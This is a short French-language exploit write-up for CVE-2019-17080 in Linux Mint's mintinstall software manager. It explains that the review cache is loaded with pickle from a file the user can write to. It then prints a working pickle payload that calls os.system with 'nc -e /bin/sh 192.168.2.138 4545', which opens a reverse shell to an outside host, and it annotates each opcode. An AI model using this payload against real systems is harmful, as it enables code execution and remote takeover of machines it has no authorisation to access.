
CVE-2019-17080
mintinstall
Lorsque vous lancez le gestionnaire de logiciels Mint, il vérifie la présence de nouveaux commentaires ; s'il y en a, il les télécharge depuis new-reviews.list et les écrit dans un fichier.

code mintinstall.py
Au démarrage du gestionnaire de logiciels, il appelle la classe ReviewCache() du module des avis.

code reviews.py
Lorsque la classe ReviewCache démarre (init), elle appelle la fonction _load_cache().

La fonction Load cache lit le fichier contenu dans la variable REVIEWS_CACHE, désérialise les données du fichier à l'aide du module pickle et stocke certaines valeurs en mémoire.

En vérifiant le fichier, je constate que j'ai les droits d'écriture.

Grâce au module Pickle, nous pouvons effectuer des opérations de sérialisation/désérialisation. En utilisant la méthode reduce, nous pouvons inclure un module et exécuter du code arbitraire.

Dans ce cas, si le fichier est désérialisé, notre code malveillant s'exécutera.
cos
system
(S'nc -e /bin/sh 192.168.2.138 4545'
tR.
>>nom du module : os
>> fonction
( >> objet marqueur
S >> lire jusqu'à la fin de la chaîne et empiler
tR. >> appeler les éléments de la pile et placer le résultat sur la pile.

